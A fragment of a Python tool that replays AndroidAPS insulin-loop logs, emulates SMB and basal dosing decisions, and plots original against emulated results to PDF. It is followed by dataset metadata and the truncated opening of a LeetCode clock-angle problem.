dataType == dataType_offset+83 : get_profile(lcount, dataStr)\r\n elif dataType == dataType_offset+84 : get_meal_data(lcount, dataStr)\r\n elif dataType == dataType_offset+86 : get_autosens_data(lcount, dataStr)\r\n elif Block2 == '[LoggerCallback.jsFunction_log():39]': # script debug info from console.error\r\n PrepareSMB(sLine, log, lcount) \r\n elif Block2 == '[DbLogger.dbAdd():29]': ################## flag for V2.5.1\r\n Curly = hole(sLine, 1+sOffset+len(Block2), '{', '}')\r\n #print('calling TreatLoop in row '+str(lcount)+' with\\n'+Curly)\r\n if Curly.find('{\"device\":\"openaps:')==0: \r\n cont = TreatLoop(Curly, log, lcount)\r\n if cont == 'STOP' : return cont\r\n elif zeile.find('data:{\"device\":\"openaps:') == 0 : ################## flag for V2.6.1\r\n Curly = hole(zeile, 5, '{', '}')\r\n #print('calling TreatLoop in row '+str(lcount)+' with\\n'+Curly)\r\n if Curly.find('{\"device\":\"openaps:')==0: \r\n cont = TreatLoop(Curly, log, lcount)\r\n if cont == 'STOP' : return cont\r\n\r\n except UnicodeDecodeError: # needed because \"for zeile in lf\" does not work with AAPS 2.5 containing non-printing ASCII codes\r\n lcount += 1 # skip this line, it contains non-ASCII characters!\r\n \r\n lf.close()\r\n return cont\r\n\r\ndef echo_rT(reT): # echo the unusual SMB result\r\n global emulInsReq\r\n global emulBasal\r\n log = open(ce_file, 'a')\r\n #log.write ('\\nreT --> '+str(reT)+'\\n')\r\n \r\n if 'error' in reT :\r\n log_msg ('returned \"error\" with ...\\n ' + reT['error'])\r\n reason = reT['error']\r\n elif 'setTempBasal' in reT: # normal finish\r\n sub_names = ['rate', 'duration', 'profile', 'rT', 'currenttemp']\r\n ele = reT['setTempBasal']\r\n reason = ele[3]['reason']\r\n log.write('---------- Reason --------------------------\\n' + str(reason) + '\\n')\r\n emulInsReq.append(ele[3]['insulinReq'])\r\n emulBasal.append(max(0,ele[0]))\r\n elif 'reason' in reT: # normal finish\r\n reason = reT['reason']\r\n log.write('---------- Reason --------------------------\\n' + str(reason) + '\\n')\r\n emulInsReq.append(reT['insulinReq'])\r\n tempReq = basalFromEmulation(reT, lcount)\r\n emulBasal.append(eval(tempReq))\r\n else :\r\n log_msg ('returned \"unexpected content\" with ...\\n ' + str(reT))\r\n reason = str(reT)\r\n\r\n log.close()\r\n return reason\r\n\r\ndef BGValPlot(ax, BGcount, BGtype, BGlevel, BGedge, BGcol):\r\n if BGlevel+len(BGtype)/2 > 30: # otherwise BG axis scale gets funny\r\n BGarrow = dict(arrowstyle='-', fc=BGcol, ec=BGcol, linestyle='dotted')\r\n posBG = (BGlevel, BGedge+2000+400*BGcount) # vertical position of BG name\r\n posLine = (BGlevel, BGedge+ 0) # vertical pos of fcast block\r\n ax.annotate(BGtype, xy=posLine, xytext=posBG, ha='center',\r\n arrowprops=BGarrow, color=BGcol)\r\n\r\ndef AdrPlot(ax, ele, row, drow, col, dchar): # add source row number above top left\r\n if 'adr' in ele: \r\n ax.annotate(ele['adr'], xy=(col-dchar*0.31-1, row+drow*3.5+2), fontsize=5)\r\n\r\ndef getBoxSize(title): # rows and width for flowchart box\r\n tx = title\r\n #dchar = tx.find('\\n')\r\n #if dchar < 1: dchar = len(title)\r\n dchar = 1\r\n drow = 1\r\n #print('--------------------------------------\\n'+tx+'\\n has initial size('+str(dchar)+','+str(drow)+')')\r\n #tx = tx[dchar+1:]\r\n while tx.find('\\n')>0: # get count of chars and rows\r\n drow += 1\r\n eol = tx.find('\\n')\r\n if eol>dchar: dchar = eol\r\n tx = tx[eol+1:]\r\n #print(' has interim size('+str(dchar)+','+str(drow)+')')\r\n eol = len(tx)\r\n if eol>dchar: dchar = eol\r\n #print(' has final size('+str(dchar)+','+str(drow)+')')\r\n return dchar, drow\r\n\r\ndef XYplots(loopCount) :\r\n # --- ensure that last loop was finished -------------\r\n if len(loop_mills) < len(bg) : bg.pop()\r\n if len(loop_mills) < len(origTarLow) : origTarLow.pop()\r\n if len(loop_mills) < len(origTarHig) : origTarHig.pop()\r\n if len(loop_mills) < len(origInsReq) : origInsReq.pop()\r\n if len(loop_mills) < len(origMaxBolus) : origMaxBolus.pop()\r\n if len(loop_mills) < len(origSMB) : origSMB.pop()\r\n if len(loop_mills) < len(origBasal) : origBasal.pop()\r\n \r\n if len(loop_mills) < len(emulTarLow) : emulTarLow.pop()\r\n if len(loop_mills) < len(emulTarHig) : emulTarHig.pop()\r\n if len(loop_mills) < len(emulInsReq) : emulInsReq.pop()\r\n if len(loop_mills) < len(emulMaxBolus) : emulMaxBolus.pop()\r\n if len(loop_mills) < len(emulSMB) : emulSMB.pop()\r\n if len(loop_mills) < len(emulBasal) : emulBasal.pop()\r\n \r\n if len(loop_mills) < len(origcob) : origcob.pop()\r\n if len(loop_mills) < len(origiob) : origiob.pop()\r\n if len(loop_mills) < len(origAs_ratio) : origAs_ratio.pop()\r\n if len(loop_mills) < len(emulAs_ratio) : emulAs_ratio.pop()\r\n if len(loop_mills) < len(activity) : activity.pop()\r\n\r\n # --- complete the curves to close the polygon for area fill\r\n cob_area = []\r\n iob_area = []\r\n looparea = []\r\n cob_area.append(0) # top left corner\r\n iob_area.append(0) # top left corner\r\n looparea.append(loop_mills[0])\r\n i = 0\r\n for lopmil in loop_mills:\r\n cob_area.append(origcob[i]) # the regular data\r\n iob_area.append(origiob[i]) # the regular data\r\n looparea.append(lopmil)\r\n i += 1\r\n cob_area.append(0) # bottom left corner\r\n iob_area.append(0) # bottom left corner\r\n looparea.append(loop_mills[-1])\r\n cob_area.append(0) # close polygon at top left corner\r\n iob_area.append(0) # close polygon at top left corner\r\n looparea.append(loop_mills[0])\r\n \r\n # --- plot the comparisons -------------------------\r\n if loopCount <= 30 : # step size for y-axis (time)\r\n yStep = 3 # every 15 minutes\r\n elif loopCount <=60:\r\n yStep = 6 # every 30 minutes#\r\n else :\r\n yStep = 12 # every 60 minutes#\r\n yTicks = []\r\n yLabels= []\r\n \r\n for i in range(0, loopCount, yStep) : # the time labels\r\n yTicks.append(loop_mills[i])\r\n yLabels.append(loop_label[i])\r\n if loop_mills[-1] != yTicks[-1]:\r\n yTicks.append(loop_mills[-1]) # last tick could be missed out\r\n yLabels.append(loop_label[-1])\r\n if featured('pred'): # extend time axis for predictions\r\n for i in range(30, 241, 30):\r\n yTicks.append(loop_mills[-1]+i*60) # append 4 hours\r\n yLabels.append('+'+str(i)+'mins')\r\n maxframes = len(loop_mills)\r\n else:\r\n maxframes = 1\r\n thickness = (loop_mills[-1]-loop_mills[0])/loopCount/4\r\n\r\n maxPlots = 0\r\n frameIns = featured('insReq') or featured('maxBolus') or featured('SMB') or featured('basal')\r\n if frameIns : # we need frame for insulin type graph(s)\r\n maxPlots += 1\r\n frameBG = featured('bg') or featured('target') or featured('pred') or featured('as ratio') or featured ('cob') or featured('iob') or featured('activity')\r\n if frameBG : # we need frame for bg type graph(s)\r\n bgOffset = maxPlots\r\n maxPlots += 2\r\n frameFlow = featured('flowchart')\r\n if frameFlow : # we need frame for decision flow chart\r\n flowOffset = maxPlots\r\n maxPlots += 6\r\n plt.rcParams['savefig.dpi'] = 200\r\n #lt.rcParams['figure.figsize'] = (9, 18) #6*maxPlots) # h,w in inches\r\n plt.rcParams['figure.dpi'] = 200\r\n plt.rcParams['legend.fontsize'] = 'small'\r\n plt.rcParams['legend.facecolor'] = 'grey'\r\n plt.rcParams['font.size'] = 8\r\n colFav = {'bg':'red', 'ZT':'cyan', 'IOB':'blue', 'COB':'orange', 'UAM':'brown'}\r\n bbox = dict(boxstyle=\"round\", fc=\"0.8\")\r\n flowForward = dict(arrowstyle='<|-') # points to current box\r\n\r\n log_msg('Emulation finished; generating graphics pages\\n')\r\n pdfFile = fn_first + '.' + varLabel + '.pdf'\r\n pdfCleared = False\r\n while True: # wait if old pdf is still loaded in pdf viewer\r\n try:\r\n os.remove(pdfFile)\r\n if pdfCleared: log_msg('continuing ...')\r\n break\r\n except PermissionError:\r\n asleep = 10\r\n log_msg('Your graphics file seems blocked by other process. Checking again in '+str(asleep)+' sec.'+chr(7)) # sometimes I can hear that BELL\r\n time.sleep(asleep)\r\n pdfCleared=True\r\n except FileNotFoundError:\r\n break\r\n xyf = open(fn_base + '.tab', 'r')\r\n zeile = xyf.readline() # header row 1\r\n log_msg(zeile[:-1])\r\n zeile = xyf.readline() # header row 2\r\n log_msg(zeile[:-1])\r\n\r\n with PdfPages(pdfFile) as pdf:\r\n for iFrame in range(0, maxframes): # the loop instances\r\n zeile = xyf.readline() # table row \r\n log_msg(zeile[:-1]) # print it as heart beat\r\n #fig, axes = plt.subplots(1, maxPlots, constrained_layout=True, figsize=(9, 15)) #6*maxPlots) ) \r\n fig = plt.figure(constrained_layout=True, figsize=(2.2*max(6,maxPlots), 11))# w, h paper size in inches; double width if no flowchart\r\n gs = fig.add_gridspec(1,maxPlots) # 1 horizontal; 1+2+6 vertical strips\r\n fig.set_constrained_layout_pads(w_pad=0., h_pad=0., hspace=0., wspace=0.) # space to edge and between frames\r\n fig.suptitle('\\nCompare original \"' + fn + '\" vs emulation case \"' + varLabel + '\"\\n', weight='bold') # incl. for space below Headeer\r\n if frameIns : # anything related to insulin\r\n axin = fig.add_subplot(gs[0,0]) # 1 strip wide\r\n axin.xaxis.label.set_color('blue')\r\n axin.tick_params(axis='x', colors='blue')\r\n axin.set_xlabel('Insulin', weight='bold')\r\n if featured('pred'):\r\n axin.set_ylim(loop_mills[-1]+thickness*2+48*5*60+45*60, loop_mills[0]-thickness*2) # add thickness*2 so markers fit into plot frame + 45min space for BG labels\r\n else:\r\n axin.set_ylim(loop_mills[-1]+thickness*2, loop_mills[0]-thickness*2) # add thickness*2 so markers fit into plot frame\r\n axin.set_yticks(yTicks)\r\n axin.set_yticklabels(yLabels)\r\n\r\n if featured('insReq') :\r\n axin.plot(emulInsReq, loop_mills, linestyle='None', marker='o', color='red', label='insulin Req, emulated')\r\n axin.plot(origInsReq, loop_mills, linestyle='solid', marker='.', color='orange',label='insulin Req, original')\r\n if featured('maxBolus') :\r\n axin.plot(emulMaxBolus,loop_mills,linestyle='None', marker='o', color='green', label='maxBolus, emulated')\r\n axin.plot(origMaxBolus,loop_mills,linestyle='solid', color='green', label='maxBolus, orig')\r\n if featured('SMB') :\r\n axin.plot(emulSMB, loop_mills, linestyle='None', marker='o', color='black', label='SMB, emulated')\r\n axin.plot(origSMB, loop_mills, linestyle='solid', marker='.', color='yellow',label='SMB, original')\r\n if featured('basal') :\r\n axin.barh(y=loop_mills, height=thickness*2, width=emulBasal, color='white', label='tempBasal, emulated', edgecolor='blue')\r\n axin.barh(y=loop_mills, height=thickness , width=origBasal, color='blue', label='tempBasal, original')\r\n\r\n #axin.plot([0,0], [loop_mills[0],loop_mills[-1]], linestyle='dotted', color='black') # grid line for insulin=0 \r\n axin.legend(loc='lower right')\r\n \r\n if frameBG : # anything related to glucose\r\n axbg = fig.add_subplot(gs[0, bgOffset:bgOffset+2]) # 2 strips wide\r\n axbg.xaxis.label.set_color('red')\r\n axbg.tick_params(axis='x', colors='red')\r\n axbg.set_xlabel('....IOB.....Autosense.....COB... Glucose', weight='bold')\r\n if frameIns: # already annotated in insulin frame\r\n axbg.set_yticklabels(['','']) # dummy axis labels\r\n axbg.set_yticks([-1,9e99]) # off scale to suppress ticks\r\n else: # not yet annotated in insulin frame\r\n axbg.set_yticks(yTicks)\r\n axbg.set_yticklabels(yLabels)\r\n axbg.set_ylim(loop_mills[-1]+thickness*2, loop_mills[0]-thickness*2)\r\n\r\n if featured('target') : # plot targets\r\n axbg.plot(emulTarHig, loop_mills, linestyle='None', marker='o', color='black', label='target high, emulated')\r\n axbg.plot(emulTarLow, loop_mills, linestyle='None', marker='o', color='black', label='target low, emulated')\r\n axbg.plot(origTarHig, loop_mills, linestyle='dashed', marker='.', color='yellow', label='target high, original')\r\n axbg.plot(origTarLow, loop_mills, linestyle='dashed', marker='.', color='yellow', label='target low, original')\r\n\r\n if featured('bg') : # plot bg\r\n axbg.plot(bg, loop_mills, linestyle='solid', marker='o', color='red', label='blood glucose')\r\n\r\n if featured('as ratio') : # plot autosense ratio\r\n axbg.plot([10,10],[loop_mills[0],loop_mills[-1]],linestyle='dotted',color='black',label='Autosense(x10) OFF')\r\n axbg.plot(origAs_ratio,loop_mills,linestyle='solid', color='black',label='Autosense(x10), original')\r\n axbg.plot(emulAs_ratio,loop_mills,linestyle='none', marker='.', color='black',label='Autosense(x10), emulated')\r\n\r\n if featured('activity') : # plot activity\r\n axbg.plot(activity, loop_mills, linestyle='solid', color='yellow', label='Activity(x1000)')\r\n\r\n if featured('iob') : # plot IOB\r\n axbg.plot(origiob, loop_mills, linestyle='solid', color='blue', label='IOB(x10)')\r\n axbg.fill(iob_area, looparea, c='blue', alpha=0.2)\r\n \r\n if featured('cob') : # plot COB\r\n axbg.plot(origcob, loop_mills, linestyle='solid', color='orange', label='COB')\r\n axbg.fill(cob_area, looparea, c='orange', alpha=0.4)\r\n\r\n if featured('pred') : # plot the predictions\r\n thisTime = loop_mills[iFrame]\r\n loopCount = 48+1\r\n fcastmills = []\r\n for lp in range(loopCount):\r\n fcastmills.append(round(thisTime/1.000 + lp*5*60, 1 )) # from millis to secs\r\n bbox_props = dict(boxstyle='larrow', fc='grey', alpha=0.7) # slider with time label\r\n if featured('pred') : # set scale of y-axis (time)\r\n axbg.set_ylim(loop_mills[-1]+thickness*2+48*5*60+45*60, loop_mills[0]-thickness*2) # incl 45min space for BG labels\r\n else : \r\n axbg.set_ylim(loop_mills[-1]+thickness*2, loop_mills[0]-thickness*2)\r\n axbg.set_xlim(0,250) # otherwise we need to find scale over all time steps\r\n bg_min, bg_max = axbg.get_xlim()\r\n axbg.text(bg_min+3, fcastmills[0], loop_label[iFrame], va='center', size=8, bbox=bbox_props)\r\n axbg.fill_between([bg_min,bg_max], fcastmills[0]-2*thickness, fcastmills[-1]+2*thickness, fc='grey', alpha=0.6) # time window\r\n if frameIns:\r\n in_min, in_max = axin.get_xlim()\r\n axin.plot([in_min,in_max], [fcastmills[0],fcastmills[0]], linestyle='dotted', color='grey', lw=0.5) # time line\r\n\r\n Fcasts = Pred[thisTime]\r\n Levels = Fcasts['Levels']\r\n\r\n #print (str(loop_label[iFrame]), str(Levels))\r\n if 'minPredBG' in Levels:\r\n BGValPlot(axbg,-1, 'minPredBG', Levels['minPredBG'], fcastmills[-1], colFav['bg'])\r\n if 'minZTGuardBG' in Levels:\r\n BGValPlot(axbg, 1, 'minZTGuardBG', Levels['minZTGuardBG'], fcastmills[-1], colFav['ZT'])\r\n if 'minIOBPredBG' in Levels:\r\n BGValPlot(axbg, 2, 'minIOBPredBG', Levels['minIOBPredBG'], fcastmills[-1], colFav['IOB'])\r\n if 'minCOBPredBG' in Levels:\r\n BGValPlot(axbg, 3, 'minCOBPredBG', Levels['minCOBPredBG'], fcastmills[-1], colFav['COB'])\r\n if 'minUAMPredBG' in Levels:\r\n BGValPlot(axbg, 4, 'minUAMPredBG', Levels['minUAMPredBG'], fcastmills[-1], colFav['UAM'])\r\n if 'avgPredBG' in Levels:\r\n BGValPlot(axbg, 0, 'avgPredBG', Levels['avgPredBG'], fcastmills[-1], 'black')\r\n if 'naive_eventualBG' in Levels:\r\n BGValPlot(axbg,-2, 'naive_eventualBG', Levels['naive_eventualBG'], fcastmills[-1], 'purple')\r\n if 'eventualBG' in Levels:\r\n BGValPlot(axbg,-3, 'eventualBG', Levels['eventualBG'], fcastmills[-1], 'green')\r\n \r\n if 'SMBoff' in Levels:\r\n SMBmsg = 'SMB disabled:\\n' + Levels['SMBoff']\r\n threshold = Levels['value']\r\n label = Levels['type']\r\n SMBsource = Levels['source']\r\n couleur = colFav[SMBsource]\r\n minGuardBG = Levels['minGuardBG1'] # get maxin/only contributioon\r\n SMBarrow = dict(arrowstyle='<|-|>', fc=couleur, ec=couleur)\r\n if label == 'maxDelta' :\r\n Tmin = thisTime - 3*5*60\r\n Tmax = thisTime + 3*5*60\r\n posText = (minGuardBG+2, thisTime)\r\n posArrow= (threshold, thisTime)\r\n else: # why SMB is disabled\r\n Tmin = fcastmills[0]\r\n Tmax = fcastmills[-1]\r\n when_mills = Levels['timePos']\r\n if minGuardBG < 0 : # off screen location supresses all\r\n minGuardBG = 20\r\n SMBarrow = dict(arrowstyle='<|-', fc=couleur, ec=couleur)\r\n axbg.plot([0,20], [fcastmills[when_mills],fcastmills[when_mills]], linestyle='dotted', color=couleur)\r\n posText = (threshold+2, fcastmills[when_mills])\r\n posArrow= (minGuardBG, fcastmills[when_mills])\r\n axbg.plot([threshold,threshold], [Tmin,Tmax], linestyle='dashed', color='grey', label=label)\r\n if not 'source2' in Levels: # single source\r\n axbg.annotate(SMBmsg, xy=posArrow, xytext=posText, va='center',\r\n arrowprops=SMBarrow ) # no alignment option: va='center') )\r\n else: # blended minGuard case !\r\n SMBsource2 = Levels['source2']\r\n minGuardBG2 = Levels['minGuardBG2']\r\n hub_bg = Levels['minGuardBG'] # bg position of hub for \"balance\"\r\n couleur2 = colFav[SMBsource2]\r\n when_mills2 = Levels['timePos2']\r\n share2 = (minGuardBG2-hub_bg)/(minGuardBG2-minGuardBG) # fraction of BG2\r\n hub_mills = fcastmills[when_mills2]+(fcastmills[when_mills]-fcastmills[when_mills2])*share2 # time of hub for \"balance\"\r\n posText = (threshold+2, hub_mills)\r\n posArrow= (hub_bg, hub_mills)\r\n axbg.annotate(SMBmsg, xy=posArrow, xytext=posText, va='center',\r\n arrowprops=SMBarrow ) # no alignment option: va='center') )\r\n axbg.plot((hub_bg,minGuardBG2), (hub_mills,fcastmills[when_mills2]),\r\n linestyle='dotted', marker='o', color=couleur2) # plot the lever arm of lesser contribution\r\n axbg.plot((hub_bg,minGuardBG), (hub_mills,fcastmills[when_mills]), \r\n linestyle='dotted', marker='o', color=couleur) # plot the lever arm of lesser contribution\r\n else:\r\n SMBsource = ''\r\n axbg.plot([0,0], [0,0], linestyle='dashed', color='grey', label='...')# inactive, i.e. off screen; placeholder for legend\r\n \r\n if 'COB' in Fcasts: # assume same logic as in original\r\n origCOB = Fcasts['COB'] # the initial array before cleanup\r\n initCOB = Fcasts['COBinitBGs'] # the initial array before cleanup\r\n predCOB = Fcasts['COBpredBGs'] # is empty if COB=0\r\n axbg.plot(origCOB, fcastmills[:len(origCOB)], linestyle='solid', color=colFav['COB'], label='predCOB, original')\r\n axbg.plot(initCOB, fcastmills[:len(initCOB)], linestyle='None', marker='.', color=colFav['COB'], fillstyle='none')\r\n axbg.plot(predCOB, fcastmills[:len(predCOB)], linestyle='None', marker='.', color=colFav['COB'], label='predCOB, emulated')\r\n else:\r\n axbg.plot([0,0], [0,0], linestyle='none', color=colFav['COB'], label='no COB active') # inactive\r\n \r\n if 'UAM' in Fcasts : # same logic as in original or minGuard source\r\n origUAM = Fcasts['UAM'] # the initial array before cleanup\r\n axbg.plot(origUAM, fcastmills[:len(origUAM)], linestyle='solid', color=colFav['UAM'], label='predUAM, original')\r\n elif 'UAM'==SMBsource :\r\n initUAM = Fcasts['UAMinitBGs'] # the initial array before cleanup\r\n predUAM = Fcasts['UAMpredBGs']\r\n axbg.plot(initUAM, fcastmills[:len(initUAM)], linestyle='None', marker='.', color=colFav['UAM'], fillstyle='none')\r\n axbg.plot(predUAM, fcastmills[:len(predUAM)], linestyle='None', marker='.', color=colFav['UAM'], label='predUAM, emulated')\r\n else:\r\n axbg.plot([0,0], [0,0], linestyle='none', color=colFav['UAM'], label='no UAM active') # inactive\r\n \r\n if 'IOB' in Fcasts: # assume same logic as in original\r\n origIOB = Fcasts['IOB'] # the initial array before cleanup\r\n initIOB = Fcasts['IOBinitBGs'] # the initial array before cleanup\r\n predIOB = Fcasts['IOBpredBGs']\r\n axbg.plot(origIOB, fcastmills[:len(origIOB)], linestyle='solid', color=colFav['IOB'], label='predIOB, original')\r\n axbg.plot(initIOB, fcastmills[:len(initIOB)], linestyle='None', marker='.', color=colFav['IOB'], fillstyle='none')\r\n axbg.plot(predIOB, fcastmills[:len(predIOB)], linestyle='None', marker='.', color=colFav['IOB'], label='predIOB, emulated')\r\n else:\r\n axbg.plot([0,0], [0,0], linestyle='none', color=colFav['IOB'], label='no IOB active') # inactive\r\n \r\n if 'ZT' in Fcasts: # assume same logic as in original\r\n origZT = Fcasts['ZT'] # from the orig loop\r\n initZT = Fcasts['ZTinitBGs'] # the initial array before cleanup\r\n predZT = Fcasts['ZTpredBGs']\r\n axbg.plot(origZT, fcastmills[:len(origZT)], linestyle='solid', color=colFav['ZT'], label='predZT, original')\r\n axbg.plot(initZT, fcastmills[:len(initZT)], linestyle='None', marker='.', color=colFav['ZT'], fillstyle='none')\r\n axbg.plot(predZT, fcastmills[:len(predZT)], linestyle='None', marker='.', Color=colFav['ZT'], label='predZT, emulated')\r\n else:\r\n axbg.plot([0,0], [0,0], linestyle='none', color=colFav['ZT'], label='no ZT active') # inactive\r\n \r\n axbg.legend(loc='lower right')\r\n \r\n if frameFlow : # anything related to flow chart\r\n axfl = fig.add_subplot(gs[0, flowOffset:])\r\n axfl.set_xticklabels(['','']) # dummy axis labels\r\n axfl.set_xticks([-99,99999]) # off scale to suppress ticks\r\n axfl.set_xlim(10, 200)\r\n axfl.set_yticklabels(['','']) # dummy axis labels\r\n axfl.set_yticks([-99999,99]) # off scale to suppress ticks\r\n axfl.set_ylim(-700, 0)\r\n axfl.set_xlabel('Flowchart and decision logic at time ' + loop_label[iFrame], weight='bold')\r\n \r\n thisTime = loop_mills[iFrame]\r\n Flows = FlowChart[thisTime]\r\n row = +20 # start row, i.e. where the arrow starts\r\n row_dist = 50\r\n col = 20 # start col, i.e. initial horizontal center\r\n col_dist = 25\r\n old_Thigh = 5 # short start arrow\r\n stripOffset = 0 # later offset into second strip\r\n for ele in Flows: \r\n row_old = row\r\n col_old = col\r\n title = ele['title']\r\n indent = ele['indent']\r\n dchar, drow = getBoxSize(title)\r\n if eval(indent) == 0 :\r\n row -= row_dist\r\n col_offset = 0\r\n arr_offset = 1 + old_Thigh*4\r\n if indent == '0' : col = 20 + stripOffset\r\n else:\r\n col += eval(indent)*col_dist\r\n col_offset = 1 + old_Tlen*0.3\r\n arr_offset = 0\r\n\r\n if row<-680: # later : 650? check for bottom of first strip\r\n row = 20 - row_dist\r\n stripOffset += 100 - 5 # half of frame width\r\n col += stripOffset\r\n\r\n if col0 and row>row_old: # switch to 2nd strip\r\n flowBackwrd = dict(arrowstyle='<|-', linestyle='dotted',\r\n connectionstyle='bar, angle=90, fraction='+str(-5/(col_old-col)))\r\n axfl.annotate(ele['title'], xy=(col_old+old_Tlen*0.3, row_old-arr_offset*0), xytext=(col, row),\r\n ha='center', va='center', bbox=bbox, arrowprops=flowBackwrd, fontsize=6)\r\n AdrPlot(axfl, ele, row, drow, col, dchar)\r\n\r\n else: # normal situation\r\n axfl.annotate(ele['title'], xy=(col_old+col_offset, row_old-arr_offset), xytext=(col, row),\r\n ha='center', va='center', bbox=bbox, arrowprops=flowForward, fontsize=6)\r\n AdrPlot(axfl, ele, row, drow, col, dchar)\r\n\r\n old_Tlen = dchar\r\n old_Thigh= drow\r\n\r\n pdf.savefig()\r\n if not featured('pred'):\r\n for i in range(iFrame+1, len(loop_mills)+2):\r\n zeile = xyf.readline() # table row i\r\n log_msg(zeile[:-1]) # w/o the \r\n if how_to_print != 'GUI': plt.show() # otherwise conflict with root.mainloop() in tkinter\r\n plt.close() # end of current page\r\n #pdf.close() # not needed due to \"with ...\" method triggered above\r\n if featured('pred'):\r\n zeile = xyf.readline() # summary row 1\r\n log_msg(zeile[:-1])\r\n zeile = xyf.readline() # summary row 2\r\n log_msg(zeile[:-1])\r\n xyf.close()\r\n\r\ndef parameters_known(myseek, arg2, variantFile, startLabel, stoppLabel):\r\n # start of top level analysis\r\n \r\n global fn\r\n global ce_file\r\n global varLabel\r\n global doit\r\n global fn_first\r\n\r\n global loop_mills\r\n global loop_label\r\n global bg\r\n global origTarLow\r\n global emulTarLow\r\n global origTarHig\r\n global emulTarHig\r\n global origAs_ratio\r\n global emulAs_ratio\r\n global origiob\r\n global origcob\r\n global activity\r\n global origInsReq\r\n global emulInsReq\r\n global origSMB\r\n global emulSMB\r\n global origMaxBolus\r\n global emulMaxBolus\r\n global origBasal\r\n global emulBasal\r\n global lastBasal\r\n global Pred \r\n global FlowChart \r\n global filecount\r\n global t_startLabel\r\n global t_stoppLabel\r\n global varFile\r\n \r\n global isZip # flag for input file type\r\n global newLoop # flag whether data collection for new loop started\r\n \r\n loop_mills = []\r\n loop_label = []\r\n bg = []\r\n origTarLow = []\r\n emulTarLow = []\r\n origTarHig = []\r\n emulTarHig = []\r\n \r\n origAs_ratio= []\r\n emulAs_ratio= []\r\n origiob = []\r\n origcob = []\r\n activity = []\r\n \r\n origInsReq = []\r\n emulInsReq = []\r\n origSMB = []\r\n emulSMB = []\r\n origMaxBolus= []\r\n emulMaxBolus= []\r\n origBasal = []\r\n emulBasal = []\r\n lastBasal = []\r\n \r\n Pred = {} # holds all loop predictions\r\n FlowChart = {} # holds all loop decisions for flow chart\r\n \r\n t_startLabel= startLabel\r\n t_stoppLabel= stoppLabel\r\n filecount = 0\r\n newLoop = False\r\n \r\n myfile = ''\r\n arg2 = arg2.replace('_', ' ') # get rid of the UNDERSCOREs\r\n doit = arg2.split('/')\r\n varFile = variantFile\r\n varLabel = os.path.basename(varFile) # do not overwrite the calling arg value\r\n if varLabel[len(varLabel)-4:] == '.dat' : # drop the tail coming from DOS type ahead\r\n varLabel = varLabel[:-4]\r\n \r\n logListe = glob.glob(myseek+myfile, recursive=False)\r\n filecount = 0\r\n for fn in logListe:\r\n ftype = fn[len(fn)-3:]\r\n if ftype=='zip' or ftype.find('.')>0: # valid logfiles should end with \"_.0\" thru \"_.99\" or \"zip\"\r\n isZip = ( ftype == 'zip')\r\n if filecount == 0 : # initalize file loop\r\n ce_file = fn + '.' + varLabel + '.txt'\r\n cel = open(ce_file, 'w')\r\n cel.write('AAPS scan from ' + varLabel + ' for SMB comparison created on ' + formatdate(localtime=True) + '\\n')\r\n cel.write('FILE='+fn + '\\n')\r\n cel.close()\r\n my_ce_file(ce_file) # exports name to determine_basal.py\r\n fn_first = fn\r\n log_msg ('Scanning logfile '+fn)\r\n cont = scanLogfile(fn)\r\n filecount += 1\r\n if cont == 'STOP': break # end of time window reached\r\n \r\n if filecount == 0 :\r\n log_msg ('no such logfile: \"'+myseek+'\"')\r\n return\r\n loopCount = len(loop_mills)\r\n if loopCount == 0 :\r\n log_msg ('no entries found in logfile: \"'+myseek+'\"')\r\n return #sys.exit()\r\n log.write('ENDE\\n')\r\n log.close()\r\n varlog.close()\r\n \r\n # --- print the comparisons -------------------------\r\n head= \" ----time formated as--- -Autosens- -----target----- insulin Req -maxBolus- ---SMB--- ---tmpBasal---\\n\" \\\r\n + \"id UTC UNIX bg cob iob act orig emul orig emul orig emul orig emul orig emul orig emul\"\r\n #print('\\n' + head)\r\n xyf.write(head + '\\n')\r\n \r\n origBasalint = 0.0\r\n emulBasalint = 0.0\r\n origSMBsum = 0.0\r\n emulSMBsum = 0.0\r\n \r\n for i in range(loopCount) :\r\n tabz= f'{i:>2} {loop_label[i]} {loop_mills[i]:>13} {bg[i]:>4} ' \\\r\n + f'{origcob[i]:>6} {round(origiob[i]/10,2):>5} {round(activity[i]/1000,3):>6} ' \\\r\n + f'{round(origAs_ratio[i]/10,2):>5} {round(emulAs_ratio[i]/10,2):>5}' \\\r\n + f'{origTarLow[i]:>6}-{origTarHig[i]:>3} {emulTarLow[i]:>4}-{emulTarHig[i]:>3} ' \\\r\n + f'{origInsReq[i]:>8} {emulInsReq[i]:>6} ' \\\r\n + f'{origMaxBolus[i]:>9} {emulMaxBolus[i]:>4} {origSMB[i]:>8} {emulSMB[i]:>4} ' \\\r\n + f'{origBasal[i]:>10} {emulBasal[i]:>7}' \r\n #print(tabz)\r\n origSMBsum += origSMB[i]\r\n emulSMBsum += emulSMB[i]\r\n if i==loopCount-1: # last time step\r\n fraction = 5 / 60 # next 5 min per hour\r\n else:\r\n fraction = (loop_mills[i+1] - loop_mills[i]) / 3600\r\n #print (str(fraction*60))\r\n origBasalint += origBasal[i]*fraction\r\n emulBasalint += emulBasal[i]*fraction \r\n xyf.write(tabz + '\\n')\r\n \r\n sepLine = ''\r\n for i in range(146):\r\n sepLine += '-'\r\n tabz = 'Totals:'+f'{round(origSMBsum,1):>115} {round(emulSMBsum,1):>4} {round(origBasalint,2):>10} {round(emulBasalint,2):>7}'\r\n #print(sepLine + '\\n' + tabz)\r\n xyf.write(sepLine + '\\n' + tabz + '\\n')\r\n xyf.close()\r\n \r\n XYplots(loopCount)\r\n \r\n\r\ndef set_tty(printframe, txtbox, channel): # for GIU\r\n global how_to_print\r\n how_to_print = channel\r\n global runframe\r\n runframe = printframe\r\n global lfd\r\n lfd = txtbox\r\n \r\ndef log_msg(msg): # for GUI\r\n if how_to_print == 'GUI':\r\n lfd['state'] = 'normal'\r\n lfd.insert('end', msg + '\\n')\r\n lfd['state'] = 'disabled'\r\n runframe.update() # update frame display\r\n else:\r\n print(msg)\r\n","sub_path":"vary_settings_core.py","file_name":"vary_settings_core.py","file_ext":"py","file_size_in_byte":73383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"603635327","text":"\"\"\"\nhttps://leetcode.com/explore/challenge/card/july-leetcoding-challenge/545/week-2-july-8th-july-14th/3390/\nGiven two numbers, hour and minutes. Return the smaller angle (in degrees) formed between the hour and the minute hand.\n\n\n\nExample 1:\n\n\n\nInput: hour = 12, minutes = 30\nOutput: 165\nExample 2:\n\n\n\nInput: hour = 3, minutes = 30\nOutput: 75\nExample 